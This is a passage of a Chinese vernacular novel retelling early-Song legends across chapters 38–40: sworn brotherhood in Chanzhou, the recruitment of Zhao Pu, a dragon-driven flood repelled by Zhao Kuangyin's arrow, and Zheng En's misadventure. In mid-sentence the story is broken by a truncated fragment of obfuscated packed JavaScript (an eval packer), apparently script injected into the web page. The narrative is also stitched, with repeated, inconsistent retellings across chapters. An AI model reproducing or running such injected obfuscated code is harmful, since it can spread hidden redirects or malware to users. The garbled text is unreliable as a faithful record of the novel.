这天一早,柴荣就叫人备好三顶轿子、三匹好马,拉着赵匡胤和郑恩往帅府后堂走。“两位兄弟,今日咱们先去见我姑母,她老人家在宫里待久了,最是识人。只要她点了头,回头我再在周主面前保举,咱们兄弟就能在京里常聚了。”赵匡胤听着,心里又喜又愁——喜的是终于有机会堂堂正正做人,愁的是不知道家里的父母和妻子怎么样了;一旁的郑恩却没那么多心思,他挠了挠后脑勺,粗声粗气地说:“二哥说咋干,俺就咋干!不过见娘娘的时候,可别又让俺跪半天,俺这膝盖还没忘了上次在庙里跪香的疼呢!”赵匡胤瞪了他一眼:“休得胡言!见国母要行大礼,待会儿我怎么做,你就跟着学,可别丢了咱们兄弟的脸面。”郑恩撇撇嘴,嘴里嘟囔着“知道了”,脚步却还是紧跟着两人。 到了后堂门口,柴荣先让人进去通报,不多时就听见里面传来丫鬟的声音:“娘娘请三位进来。”柴荣领着赵匡胤、郑恩走到帘外,示意两人跪下。赵匡胤双手扶地,腰杆挺得笔直,声音沉稳:“臣赵匡胤,叩见娘娘,愿娘娘千岁千岁千千岁。”郑恩学着他的样子跪下,只是动作有点僵硬,声音也比赵匡胤大了些:“臣郑恩,给娘娘磕头,娘娘千岁!”说完还偷偷抬眼,想看看帘子里的娘娘长啥样,却被赵匡胤用胳膊肘碰了一下,赶紧又低下头。 帘子里的柴娘娘正靠在卧榻上,听见外面的声音,便掀开帘子一角往外看。她先看向赵匡胤——这小伙子身材魁梧,眉眼间带着一股英气,哪怕跪着也透着股不卑不亢的劲儿,一看就是个有出息的;再看旁边的郑恩,虽然长得凶巴巴的,虎背熊腰的像头猛虎,但眼神里没什么坏水,反而透着点憨厚,两人站在一起,倒像是一对能扛事的好搭档。柴娘娘心里暗暗点头,心想:“荣儿这眼光不错,这两位要是能真心辅佐他,将来定是周家的栋梁。” 她清了清嗓子,声音温和却带着威严:“荣儿,这两位真是你的生死之交?”柴荣赶紧上前一步,躬身答道:“回姑母,臣儿和他们俩从小就相识,当年臣儿落难时,多亏他们俩帮忙,咱们可是过了命的交情,不管穷富,从来没生过二心。”柴娘娘笑了笑,对帘外说:“难得你们有这份情义。你们先出去歇息,荣儿让人备些酒菜招待。等我这病好利索了,咱们一起回东京,到时候我在陛下跟前替你们说话,保准不让你们受委屈。”三人连忙谢恩,退出了后堂。 刚走到前殿,就看见一个守门的军官气喘吁吁地跑过来,手里还攥着一块令牌——这是东京来的人常用的信物。“千岁爷!”军官跑到柴荣面前,弯腰行礼,“东京来了三位官人,说是您的故交,还拿着您当年在汴梁给的玉佩,现在就在辕门外等着,说要见您。”柴荣愣了一下,随即笑道:“既是故交,快请进来!” 不多时,就见三个身影从外面走进来,前面两个柴荣一眼就认出来了——是张光远和罗彦威,两人还是老样子,张光远穿着件青色长衫,手里摇着扇子,罗彦威则穿了件短打,看着比从前结实了些。后面跟着个年轻人,眉目和赵匡胤有几分像,却比赵匡胤更清秀些,手里还提着个布包袱,像是赶路来的。 柴荣赶紧迎上去,握着张光远的手笑道:“光远兄,彦威兄,你们怎么来了?我还想着回京后再去找你们呢!”张光远拱了拱手,笑着说:“自从周主登基,听说你封了王,我们俩就想着来给你道喜,可没想到你又奉旨来禅州接国母,我们只好一路打听着过来,幸好没错过。”他指了指身后的年轻人,“对了,这位是匡胤的弟弟匡义,这次是跟着我们一起来的,说是要找他哥哥。” 赵匡胤一听“匡义”两个字,眼睛一下子亮了,快步走过去拉住弟弟的手,声音都有点发颤:“二弟,你怎么来了?爹娘在家里还好吗?你嫂子……她还好吗?”他心里又急又怕——当年他失手伤人后,没敢回家就跑了,这一年多来,他最惦记的就是家里人,生怕自己的事连累了他们。 赵匡义见哥哥这么激动,赶紧拍了拍他的胳膊,轻声说:“哥,你别担心,爹娘都好着呢!娘就是天天想你,有时候坐着坐着就掉眼泪。不过前阵子周主登基,下了普天大赦的圣旨,说从前的旧案都不追究了,娘知道后,心里才算踏实,催着我出来找你,说让你赶紧回家看看。”赵匡胤这才松了口气,眼眶有点发红,拍了拍弟弟的肩膀:“好,好,咱们过阵子就回汴梁!” 柴荣看着眼前这一幕,心里也暖暖的,他拍了拍手,让众人坐下,又让人端上茶来,然后清了清嗓子说:“各位兄弟,我有句话想跟大家说。如今周主登基,天下正要安定下来,这正是咱们年轻人干一番事业的时候。咱们虽然之前也结过义,但有的兄弟是后来才认识的,心里可能还没那么亲近。我想,咱们不如今天在禅州重新拜一次天地,学当年刘备、关羽、张飞桃园结义的样子,再学廉颇、蔺相如将相和的气度,不管将来是生是死,都一起扛着,一起为天下百姓做点事,你们觉得怎么样?” 赵匡胤第一个站起来,拱手道:“大哥说得对!咱们兄弟就该同心同德,我听大哥的!”郑恩也跟着站起来,大声说:“俺也听大哥的!以后谁要是敢欺负咱们兄弟,俺第一个揍他!”张光远、罗彦威和赵匡义也都点头同意,柴荣见众人都愿意,心里大喜,赶紧让人去准备祭礼。 不多时,前殿就布置好了——正中间摆着一张供桌,上面放着猪、牛、羊三牲,还有水果、酒坛,两边点着两根一人高的红烛,烛火跳动着,映得整个大殿都暖烘烘的。柴荣让人请来帅府里的典礼官,让他念祭文。典礼官清了清嗓子,声音洪亮地念道:“维大周广顺元年夏,柴荣、赵匡胤、郑恩、张光远、罗彦威、赵匡义,于禅州帅府,拜告天地。愿结为异姓兄弟,同心协力,共扶社稷,上安君父,下济黎民。不求同年同月同日生,但愿同年同月同日死。若有负此誓,天地不容!” 众人听完祭文,一起跪下,对着天地磕了三个头,然后又互相行礼。柴荣年长,做了大哥;赵匡胤次之,是二哥;郑恩排第三;张光远第四;罗彦威第五;赵匡义年纪最小,排第六。拜完之后,众人都笑着互相称呼“大哥”“二哥”,气氛比之前更热络了。 柴荣让人把供桌上的酒坛打开,给每个人都倒了一杯酒,众人端着酒杯,一饮而尽,然后又开始吃桌上的菜。正吃着,赵匡胤放下酒杯,对柴荣说:“大哥,我想跟你说个事。我娘在家里惦记我,我想先回汴梁看看她,等看完了,我再回来跟你一起回京,你看行吗?”柴荣想了想,摇摇头说:“二弟,不是我不让你去,只是姑母的病还没好,等她病好了,咱们一起回东京,到时候你再回家看婶子,不是更好吗?你要是现在走了,咱们兄弟又要分开,多不方便。”赵匡胤听柴荣这么说,也觉得有道理,只好点点头:“那好吧,我听大哥的。” 接下来的几天,柴荣每天都去后堂伺候柴娘娘,赵匡胤、郑恩他们则住在花园里,每天吃的喝的都是柴荣让人送来的,日子过得倒也清闲。这天早上,众人吃完早饭,赵匡胤觉得有点无聊,便对众人说:“各位兄弟,咱们天天待在花园里,都快闷出病了。不如今天去郊外打打猎,既能活动活动筋骨,练练骑马射箭,要是能打到些野兔、野鸡,晚上还能下酒,你们觉得怎么样?” 郑恩一听“打猎”,眼睛都亮了,赶紧说:“好啊好啊!俺早就想骑马了,这几天待在花园里,腿都快软了!”张光远、罗彦威和赵匡义也都同意,赵匡胤便让人去备马,有弓箭的带上弓箭,没弓箭的就带些刀枪之类的兵器。 不多时,五个人都骑上了马,带着十几个随从,出了禅州东门,往北走去。这天的太阳特别毒,晒得地面都发烫,随从们有的拿着扇子扇风,有的则用毛巾擦汗,只有郑恩一点都不怕热,还时不时地策马跑两步,嘴里喊着“快点走,早点打到猎物”。 走了大概二十多里地,来到一片旷野——这里是大清河的下游,周围没什么人家,只有些低矮的灌木丛和野草,倒是个打猎的好地方。赵匡胤让人把围场摆开,众人分散开来,等着猎物出现。可等了快两个时辰,连个野兽的影子都没看见——原来这天太热了,野兔、野鸡都躲在阴凉的地方不出来,旷野里空荡荡的,只有风吹过草叶的声音。 郑恩有点不耐烦了,勒住马,皱着眉头说:“这啥破地方啊,连只兔子都没有!早知道还不如在花园里睡觉呢!”张光远也叹了口气:“这天也太热了,要不咱们换个地方?”赵匡胤正想说话,忽然听见“呼”的一声,一阵风从北边吹来,紧接着,一只浑身雪白的兔子从灌木丛里跳了出来,飞快地往前跑。 郑恩一眼就看见了,大声喊道:“二哥!你看!是兔子!还是只白的!快追啊!”众人一看,那兔子长得真好看,浑身的毛像雪一样白,两只耳朵往后竖着,嘴唇是淡淡的红色,跑起来的时候像一阵风,快得很。 五个人赶紧拍马追上去,可那兔子跑得太快了,不管他们怎么催马,都追不上。赵匡胤心里有点不服气——他骑的马是当年宋金辉送他的赤兔龙驹,这马头上有角,腹下有鳞,一天能跑一千里,不管是爬山还是过河,都跟走平路一样,今天居然追不上一只兔子?他越想越生气,拿起弓箭,搭上箭,瞄准兔子的后胯,“嗖”的一声射了过去。 箭正好射中了兔子的后胯,可那兔子像是没感觉一样,带着箭跑得更快了。赵匡胤更生气了,嘴里骂道:“好你个毛团!居然敢带着我的箭跑!今天我非抓住你不可!”他用力给了马一鞭,赤兔龙驹吃痛,撒开蹄子往前跑,一下子就把后面的人落下了好几箭的距离。 又跑了大概三十多里地,前面出现了一个村庄。那兔子忽然拐了个弯,跑进了村庄里。赵匡胤赶紧催马跟上去,进了村庄后,他勒住马,四处看了看——这村庄背靠着山,前面有一条小河,村里的房子都是用木头和茅草盖的,周围种着很多竹子和果树,空气里飘着花香,还有鸟叫声,看着特别舒服。可那只白兔却不见了踪影。 赵匡胤正四处张望,忽然听见一阵琴声——这琴声从旁边一扇木门里传出来,时而舒缓,像流水一样;时而激昂,像狂风一样,听得人心里很舒服。他心里想:“能弹出这么好听的琴,这人肯定是个有学问的隐士。我不如进去见见他,看看他是个什么样的人。” 就在这时,后面传来了马蹄声,赵匡胤回头一看,是郑恩他们赶来了。郑恩勒住马,大声问道:“二哥!那兔子呢?你抓住了没?俺还等着吃兔肉下酒呢!”赵匡胤摆了摆手,让他小声点:“别吵,里面有人弹琴,咱们听听。”郑恩虽然不懂琴,但见赵匡胤这么说,也只好闭上嘴,和众人一起站在门外听。 琴声停了,里面传来一个人的歌声,声音清亮:“天下百姓多辛苦,只因还没遇明主。这几年战乱不停,如今江山归周家。”赵匡胤听了,对众人说:“你们听,这人说话很有见识,肯定是个高士!”话音刚落,里面又传来一阵笑声,接着歌声又响了起来:“十年寒窗读孔孟,磨穿铁砚练功夫。夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵普一听“赵匡胤”三个字,心里暗暗吃了一惊——几天前,有个叫苗光义的道士来村里找他,说他将来能做两朝宰相,还说今天中午会有五位贵人来拜访他,其中一位就是真命天子。当时他还不信,现在一看赵匡胤,果然气度不凡,再看赵匡义,也是一副贵人相,郑恩等人也都是英武之人,心里顿时信了苗光义的话。 赵匡胤喝了口茶,看着赵普说:“刚才我们在门外听先生弹琴、唱歌,觉得先生很有学问,想必是有济世之才,只是没遇到赏识你的人。我大哥柴荣是禅州的王爷,也是我的生死之交,如果你愿意出山,我可以推荐你去见他,到时候你就能为天下百姓做事了。” 赵普心里有点犹豫——他不是不想做官,只是怕自己的本事不够,耽误了大事。可转念一想,苗光义说自己有宰相之才,赵匡胤又这么诚恳,或许这就是自己的机会。他笑了笑说:“多谢赵公子看重。只是我隐居多年,不知道能不能做好官,怕辜负了你的好意。” 赵匡胤连忙说:“先生别谦虚!我看先生是有真本事的人,我大哥求贤若渴,只要你愿意去,他肯定会重用你的。现在周主英明,正是先生为国效力的时候,你可别错过了这个机会。” 赵普见赵匡胤说得诚恳,心里也下定了决心,点了点头说:“既然公子这么说,那我就听你的。只是今天天色已晚,各位不如在我这里住一晚,明天再回禅州,怎么样?”众人都同意,赵普便让人去准备饭菜,又让人把随从们安排到旁边的草房里住下。 晚饭的时候,赵普和众人一起喝酒聊天,说起天下大事,赵普说得头头是道,赵匡胤越听越佩服,心里后悔没早点遇到他。郑恩却没兴趣听这些,喝了几杯酒就嚷嚷着要睡觉,赵匡胤只好让赵普把饭菜收了,众人在书房里搭了几张草席,将就着睡了一晚。 第二天一早,众人吃过早饭,赵普从书箱里拿出一个信封,递给赵匡胤说:“这是几天前苗光义先生留给我的,他说让我交给你,还说他在东京等你。”赵匡胤接过信封,拆开一看,上面写着:“赵普有辅佐君王的才能,你千万别错过他。将来你做了皇帝,一定要重用他!切记切记!” 赵匡胤心里有点埋怨苗光义——这人怎么什么都往外说?要是被周主知道了,自己岂不是要惹麻烦?他赶紧把信揣进怀里,对郑恩说:“苗先生说周主下了赦令,让我赶紧回家看娘。”郑恩撇撇嘴:“俺还以为有啥新鲜事呢,这事儿俺早就知道了!” 众人又喝了杯茶,就准备起身回禅州。赵普家里没有马,郑恩笑着说:“先生,俺走路快,这马给你骑!”赵普连忙道谢,众人一起出了村,骑上马,往禅州走去。 回到帅府,赵匡胤先去见柴荣,把打猎追兔、遇到赵普的事说了一遍,还说赵普是个有本事的人,让柴荣一定要重用他。柴荣听了,赶紧让人去请赵普。 赵普来到后堂,给柴荣行了礼。柴荣见赵普温文尔雅,说话有条理,心里很喜欢,当场就封他为王府参军,说等回了东京,再推荐他去朝廷做官。众人见赵普得了官,都替他高兴,柴荣又让人备了酒席,和众人一起喝酒庆祝。 正喝到高兴的时候,忽然看见守门的军官慌慌张张地跑进来,脸色苍白,手里的令牌都快掉了。他跑到柴荣面前,“扑通”一声跪下,声音发抖地说:“千岁爷!不好了!出……出大事了!” 柴荣心里一紧,赶紧问道:“出什么事了?你慢慢说!”军官咽了口唾沫,颤声道:“刚才……刚才接到东京来的消息,说……说黄河决堤了,下游的几个州县都被淹了,百姓们……百姓们都在逃命啊!” 众人一听,都愣住了——黄河决堤可不是小事,要是不赶紧救灾,不知道要饿死多少百姓。柴荣皱着眉头,心里想:“这下麻烦了,姑母的病还没好,现在又出了这事儿,可怎么办才好?”赵匡胤也站起来,握紧了拳头:“大哥,咱们得赶紧想办法救灾,不能让百姓们受苦!” 到底柴荣会怎么应对黄河决堤的事,赵普又能提出什么好主意,咱们下回再说。 39. 第 39 章 话说柴荣自从得了赵普这么个得力帮手,心里别提多高兴了,当即摆了大宴席,跟众人一起喝酒庆贺。大伙儿正喝得热闹,酒杯碰得叮当响,忽然见守门的官儿慌慌张张地跑上大堂,“扑通”一声跪下,声音都打颤:“千岁爷!不好了!出大事了!太清河水涨得跟大湖似的,浪头足有十多丈高,两岸的老百姓被冲走了不知多少,现在水都快到东门了,您快拿主意啊!” 柴荣一听这话,脸“唰”地就白了,赶紧站起来说:“各位兄弟,太清河水涨成这样,冲毁了老百姓的房子,这可不是小事!你们跟我一起去看看,得想个法子才行。”说完,大伙儿都顾不上喝酒了,一窝蜂地离了席,出了帅府大门就往东门跑。还没跑到东门,又有人气喘吁吁地来报:“水已经到东城门下了!外门和内门都被淹了!” 柴荣心里更急了,顺着城边的马道快步爬上城楼,扒着城墙上的垛口往下一看——好家伙,太清河简直变成了一片汪洋,浑浊的河水裹着泥沙翻着巨浪,浪头拍在城墙上“轰隆”响,跟狮子吼、打雷似的,直往城上扑。眼瞅着水还在往上涨,没一会儿就把禅州的城墙淹了半截。 柴荣看着这景象,急得直跺脚,仰着头叹气:“老天爷啊!难道是我柴荣没福气,担不起这周王的爵位,所以您才降下这水灾?眼看着城墙要被淹,老百姓要掉进水里喂鱼,要是我没这福分,您冲我一个人来就行啊,为啥要连累满城的百姓遭这罪?” 他的话还没说完,就听“哗啦”一声,浪头狠狠撞在城墙上,整座城楼都跟着晃了晃。柴荣吓得腿一软,差点摔下去,脸色白得跟纸似的。旁边的赵普盯着水里的浪头,眉头皱得紧紧的,开口说道:“千岁,我听说江河湖海都有水神龙王管着,要是没有上天的命令,他们也不敢随便淹城害人。要是老百姓真该遭这劫,您再着急也没用。不过我瞧着这浪头一个劲儿往城上冲,这里头肯定有缘故——要么是河神想要祭品,要么是有孽龙在捣乱。老话都说,圣明的天子有神仙护着,厉害的将军有八方威风,只要心正福厚,就能消灾挡邪。依我看,您不如准备些祭品祭祀一下,说不定凭着您的福气,能保住这一城的老百姓呢?” 柴荣赶紧点头,让人快去找祭品。没一会儿,猪、羊这些供品就摆到了城头上,蜡烛点上,香也插上了。柴荣亲自跪下,双手合十祷告:“我柴荣奉天子之命来镇守禅州,从没欺负过老百姓,也没让官吏乱作恶。现在遇上这大水灾,要是满城百姓真该遭这难,我愿意一个人替他们受着,别让老百姓受苦!要是神仙您可怜我们,就求您让洪水快点退去,保住我们的性命。等我回了京城,一定奏明天子,办一场盛大的法会,好好感谢天地和龙王您。求您显显灵吧!” 祷告完,柴荣把酒洒在地上,又烧了纸钱。可往下一看,洪水压根没退,反而涨得更凶了,浪头离城墙上的垛口就差几步远。柴荣的心沉了下去,旁边的赵匡胤也捏着拳头,心里直打鼓——这水怎么越祭越涨?难道真的有怪物在里头? 其实这水之所以不往别处去,一个劲儿往城上冲,全是郭威惹出来的。那郭威本是天上的乌龙下凡,奉了玉帝的旨意来给赵匡胤铺路。这会儿他在汴梁当了皇帝,心里一直惦记着柴后娘娘——柴后是柴荣的姑姑,这会儿正在禅州养病,还没来得及进京。这天郭威在宫里没事,躺在龙床上打盹,没成想元神竟出了窍,一路往禅州飘来。路过太清河的时候,他心里急着见柴后,没控制住法力,竟把河水给带得涨了起来。 郭威的元神在浪头里飘着,一眼就看见城楼上的柴荣,心里又急又喜,晃着脑袋嘀咕:“我的孩儿,可把我想坏了!你姑姑柴后在哪儿?怎么不来接我?”他越想越急,身子一扭就往城上冲,浪头裹着一团黑云,“呼”地就往城楼扑去。柴荣吓得往后一躲,那浪头“哗啦”一声又落了回去。 有人可能要问了:既然水都快到城上了,怎么又退回去了?要是这么容易退,以前怎么还会有城池被淹的事?其实不是这么回事——以前城池被淹,是上天要降灾,老百姓该遭这难,就算城墙再结实、堤坝再牢固,浪头一冲也得淹。可这次的水是郭威的元神搅起来的,他一会儿急一会儿缓,水就跟着忽涨忽落。更重要的是,城楼上站着三位未来的皇帝:赵匡胤兄弟是宋朝的真命天子,柴荣后来也当了七年皇帝,各路神仙都在暗中护着他们,这水哪能真的淹了城? 没过一会儿,郭威的元神又往城上冲,护着柴荣他们的神仙赶紧发力,一道金光挡住了洪水,往下一压,浪头就往两边分开,郭威的元神也跟着退了回去。就这么来来回回好几次,浪头每次刚到垛口就退下去了。柴荣吓得浑身发抖,手都攥不住了;赵匡胤虽然表面镇定,心里也慌得很,手心全是汗;张光远的脸白得跟纸灰似的,腿肚子直转筋;罗彦威站在那儿跟丢了魂似的,眼神都直了;赵普皱着眉不停摇头,也在琢磨这水到底怎么回事;只有郑恩急得跳脚,扯着嗓子喊:“完了完了!老子今天要淹死在这儿了!”一边喊,一边还盯着城外的水看。 忽然“轰隆”一声,浪头又涨了上来,溅了郑恩一身水。郑恩抹了把脸,骂道:“你这该死的水!偏偏往老子身上溅!”他瞪着那双有点斜的眼睛往水里一看,隐约见水里藏着个东西,正摇头摆尾、张牙舞爪的,好像要往城上爬。再仔细一看,那东西浑身黑得跟涂了漆似的,满身子都是黑鳞片,两只眼睛闪着光,头上还转着两只角,长长的身子在水里一扭就掀起浪,大嘴巴一张就吐出一团水雾,借着水势翻来翻去的。 郑恩一看,立马喊得更大声了:“好你个怪物!在水里洗澡耍威风呢!二哥快来看!水里有个怪东西!”赵匡胤攥紧了腰间的佩剑,强压着心里的慌劲儿凑过去,低声问:“在哪儿呢?”郑恩用手指着水里:“那不就是嘛!它还盯着你看呢!”赵匡胤眯着眼仔细瞧,还真见水里有个黑乎乎的怪物趴着,没一会儿又动了起来。 郑恩急得直跺脚:“不好!它要把城墙撞塌了!老子拿枣木棍来打它!”赵匡胤赶紧拉住他:“兄弟,你的棍子太短,打不着它,反而会惹毛它。不如把弓箭拿来,我射它一箭,说不定能把它赶跑。”说完就叫手下人去拿弓箭。没一会儿,弓箭就送来了,赵匡胤接过弓,把箭搭在弦上,使劲把弓拉满,“嗖”的一声,箭就像一道闪电似的射进水里,正好射中了那乌龙的左眼。 乌龙疼得“嗷”地叫了一声(只是凡人听不见),尾巴在水里狠狠一甩,溅起的水花比城墙还高。赵匡胤吓得往后退了好几步,可没一会儿,就听“哗啦啦”的水声,城墙上的水竟慢慢退下去了,没一会儿城墙就露出了半截。郑恩拍着手跳起来:“好了好了!这该死的怪物中箭跑了!”柴荣他们赶紧凑到垛口往下看,见洪水真的在退,没一会儿就退得干干净净。 再看城外,老百姓的房子全被冲成了平地,到处都是漂浮的木板和家具,被冲走的老百姓不知有多少。要是没有城楼上这三位未来的皇帝镇着,禅州的老百姓恐怕都成了水里的冤魂了。众人见水退了,都对着天磕头谢神,心里的石头总算落了地,顺着马道下了城楼。手下人早就牵来了马,大伙儿骑上马,回了帅府,下了马就进了大堂。 柴荣让人重新摆上酒席,一来是给大伙儿压压惊,二来是庆祝水退了。没一会儿,酒席就摆好了,柴荣端着一杯酒,双手递给赵匡胤:“要不是兄弟你这一箭,我今天恐怕都保不住禅州了!这杯酒我敬你,谢谢你的大恩!”赵匡胤赶紧摆手:“这都是兄长您有福气,跟我可没关系。”柴荣又给郑恩斟了杯酒,也谢了他帮忙发现怪物,接着又跟张光远、罗彦威、赵普他们一一敬酒。这天大伙儿喝得都很高兴,一直到天黑才散席。 第二天一早,柴荣就带着城里的士兵和老百姓,到城外清理被水淹过的地方,还让人搭临时的房子,好让那些无家可归的老百姓住进来。这场大水灾,总算靠着赵匡胤射龙暂时过去了,可老百姓的日子还得慢慢恢复——曾经热闹的住处变成了一片泥泞,如今只能重新规划,让大家能安稳下来。 咱们先不说禅州这边救灾的事,说说那中箭的乌龙。原来郭威在宫里惦记柴后,那天处理完朝政没事,躺在龙床上打盹,元神出窍飘到禅州,没成想被赵匡胤一箭射中左眼,疼得他赶紧把元神收回来。一回到身体里,郭威就“啊”地大叫一声,从龙床上滚了下来。旁边伺候的宫官们吓得赶紧围过来,一个个脸都白了。 郭威晕了好一会儿,才慢慢缓过气来,一睁眼就骂:“那个红脸贼!我跟你无冤无仇,你竟敢用暗箭射我的眼睛!左右!快把他绑来!别让他跑了!”宫官们赶紧跪下,小心翼翼地说:“万岁爷,宫里没什么红脸贼啊,您是不是做梦了?您先别生气,好好歇会儿。” 郭威听宫官这么一说,才慢慢冷静下来,揉了揉发疼的眼睛问:“现在是什么时候了?”宫官回答:“回万岁爷,已经是午时了。”郭威皱着眉说:“我刚才明明去了禅州,被一个红脸贼射伤了左眼,现在还疼得厉害,你们看看我的眼睛是不是受伤了?”宫官们凑过去一看,果然见郭威的左眼又红又肿,还渗着点血。 郭威赶紧让人召太医进宫。太医来了一看,赶紧拿出特制的药膏给郭威涂上,没多久疼痛就减轻了,可瞳孔受了伤,一时半会儿好不了。郭威心里还惦记着柴后,又下了道旨意:“派个官儿赶紧去禅州,就说我病了,让柴后娘娘尽快来京城。”那官儿领了旨,骑上快马,日夜不停地往禅州赶,到了帅府大堂,就把郭威的旨意念给了柴荣听。 柴荣听完旨意,赶紧去跟柴后禀报。柴后点点头,让人准备车马,选了个日子就准备动身。柴荣派了三千士兵护送,又把禅州的事交给韩通打理。柴后心疼老百姓,知道路途远,要是摆起銮驾会耽误时间,还得劳烦士兵,就说:“不用摆銮驾了,我坐辆小车就行,省点力气。” 出发那天,柴后带着柴荣、赵匡胤、赵普他们一行人,还有护送的士兵,一起出了禅州城,往东京方向走。夏天的太阳毒得很,柴后本来身体就没好利索,坐车走不了太快,一天也就走八十里路。 这天中午,太阳正毒的时候,柴后在车里喊:“贤侄。”柴荣赶紧骑马凑到车边:“姑姑,我在这儿呢。”柴后问:“现在是什么时辰了?”柴荣回答:“已经过午时了。”柴后叹了口气:“我身子实在累得慌,咱们停下歇歇吧。”柴荣赶紧让人停下,搭起临时的营寨。柴后下了车,到帐篷里歇着,柴荣一直在旁边伺候着,这儿就不多说了。 单说赵匡胤、赵普他们六个人,带着手下人在旁边另搭了个营盘。天太热了,大伙儿都把外衣脱了,找阴凉地儿坐着扇风。只有郑恩,把上身的衣服全脱了,露出黑乎乎的胸脯,坐在地上,手里拿着个草帽使劲扇,扇得呼呼响,还对着赵匡胤喊:“二哥! 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赵匡胤听见了,笑着说:“兄弟,你别瞎折腾了,他们不想去就不去,你要是想去,自己去不就行了,别在这儿啰嗦。”郑恩梗着脖子说:“你们不去,我就不能自己去了?”说完,把青布衫搭在胳膊上,光着两条腿,戴上草帽,气冲冲地出了营盘,往西边走。大伙儿知道他的脾气,也没人拦着,就任由他去了。 郑恩一口气走了三里多路,停下脚步,挠了挠头:“我刚才赌气出来要洗澡,走了这么远,咋连条河的影子都没见着?现在往哪儿走啊?”他东瞅瞅西看看,犹豫了半天:“要不别洗了,回去吧?”可刚转身,又停下了:“不行!我这回去了,肯定要被他们笑话,说我没找到河就灰溜溜回来了,多丢人!” 他站在那儿琢磨了一会儿,眼睛一亮:“有了!我在这儿等着,等路过的人来了,问问他们哪儿有河,不就能去洗澡了?”说完,把青布衫往地上一铺,坐在上面,盯着来往的路人。路上虽然有不少人,可都离他远远的,没人往他跟前来。郑恩骂道:“这些该死的!为啥不往我跟前走?真是别扭!”他哪儿知道,自己坐在一片荒地里,根本不是正经的路,人家路过也不会往这儿走啊。 郑恩等了半天没人来,只好站起来,拿起布衫,往大路上走。这会儿是七月,正是庄稼人割早稻的时候,远远看见一个农夫挑着一担稻子,急匆匆地往前走。郑恩赶紧跑过去,一把抓住农夫的后脖子。农夫想回头看看是谁,可郑恩的手又大又有力,攥得紧紧的,别说回头了,连挑着的稻子都晃得厉害。 郑恩骂道:“你这该死的!敢挣扎?老子问你,哪儿有河?”农夫被勒得喘不过气,断断续续地说:“谁啊……这么开玩笑?我挑着这么重的担子,你拉着我,要是把我腰压折了,可没完!快放手!再不放手我就骂了!” 郑恩冷笑一声:“你敢骂?”手往下一按。农夫挑着一担稻子,本来就累得够呛,哪经得住他这么一按?“轰隆”一声,连人带担子一起摔在地上。农夫爬起来,本来想发火,可抬头一看郑恩那模样——黑乎乎的脸,瞪着圆眼睛,浑身的肌肉都鼓着,吓得往后退了好几步,心里直打鼓:“这人看着这么凶,别是个恶霸吧?” 老话说“神鬼都怕恶人”,农夫虽然生气,可看着郑恩这凶样,魂都快没了,哪儿还敢骂?只好陪着笑脸说:“这位大哥,我跟你又不认识,你为啥把我推倒啊?”郑恩哼了一声:“老子好好问你河在哪儿,你不回答,还敢跟我顶嘴?” 农夫听郑恩说话颠三倒四,一会儿说“老子”,一会儿说“问河”,心里就明白了:这人是个粗人,不好惹。可又气不过被他推倒,心里暗暗琢磨:“这黑汉子要找河洗澡,还敢欺负我,我不如骗骗他,让他多走点冤枉路,洗不成澡,也出出我这口气。” 于是农夫笑着说:“大哥,你要找河洗澡啊?这附近可没有河,你往那边的树林子走,过了树林有一条大河,水又清又凉,最适合洗澡了。除了那条河,这周围都是旱地,没别的水了。” 郑恩顺着农夫指的方向一看,果然见远处有一片树林,也没问有多远,说了句“老子去了”,拔腿就往树林跑。农夫看着他的背影,偷偷笑了:“让你欺负我,跑死你也找不到河!”说完,挑起稻子,赶紧往家走了。 郑恩跑得飞快,耳边的风“呼呼”响,没一会儿就跑了十多里路。等他穿过树林,往四周一看,哪儿有什么大河?全是村子和庄稼地。郑恩这才反应过来:“好你个该死的农夫!竟敢骗老子!白跑了这么远,澡也没洗成,要是再让我看见你,非揍你一顿不可!” 他正想往回走,忽然看见村子后面有个瓜园,园门开着,一眼望去,满地都是大西瓜,一个个圆滚滚的,跟斗似的大。郑恩顿时忘了生气,口水都快流出来了:“我跑了这么远,热得嗓子都冒烟了,先吃个西瓜解解渴,再找河洗澡也不迟。”说完,迈开步子就往瓜园里走。 这一去,可就有故事了——郑恩这半天里,先是被大伙儿冷落,又被农夫骗了路,接下来在瓜园里还得受顿欺负;可也正是因为这个瓜园,他后来竟娶了个好媳妇,成就了一段千里姻缘。这真是还没尝到温柔乡的滋味,先挨了顿拳打脚踢的委屈。 到底郑恩在瓜园里遇到了谁,有没有被人发现他要吃瓜?咱们下回再接着说。 40. 第 40 章 话说郑恩被三伏天的暑气烤得浑身发燥,黑黢黢的脊梁上满是汗珠,顺着肌肉的纹路往下淌,黏得衣服贴在身上,难受得紧。他心里就一个念头:找处河水泡一泡,把这股子燥热全冲掉。之前听客栈伙计说附近有河,可他是个路盲,辨不清方向,只好拉住个挑着菜筐的村民问路——这村民叫王二,是个出了名的“小滑头”,见郑恩长得人高马大,脸黑得像锅底,眼神又带着股子凶气,心里先怯了三分,可又怕郑恩真要找着河,回头赖上自己要水喝,索性眼珠一转,往西边一片密不透风的树林指了指:“大……大爷,您往那林子走,穿过去就是大河,水又清又凉,镇上好多人都去那洗澡哩!” 郑恩本就不是细心思的人,听了这话,谢都没谢一声,拔腿就往树林跑。可这一跑就是十多里,林子里的树密得连日头都透不进来,倒也凉快些,可连半滴水影都没见着。地上净是枯枝败叶,踩得“咔嚓”响,偶尔有鸟雀被惊飞,扑棱棱的翅膀声更显冷清。郑恩这才回过味来:“好家伙,被那小子骗了!”气得他一脚踢飞块拳头大的石头,石头砸在老槐树上,震下几片发黄的叶子,“等老子回头找着他,非拧断他的胳膊不可!” 正骂着,肚子突然“咕噜”叫了——天热耗体力,刚才跑了那么远,早就饿了。他抹了把脸上的汗,抬头往四周瞅,忽然看见林子外头隐隐露出个庄子的后墙,墙根下竟有个敞开的园门,里头绿油油一片,走近了一看,满地里都是圆滚滚的西瓜,青皮带黑纹,有的还裂了道小口,露出红瓤黑籽,甜香顺着风飘过来,勾得他喉头直动。郑恩的气顿时消了一半,咧开嘴笑了:“虽说没找着河洗澡,能吃几个瓜解解渴也不错!” 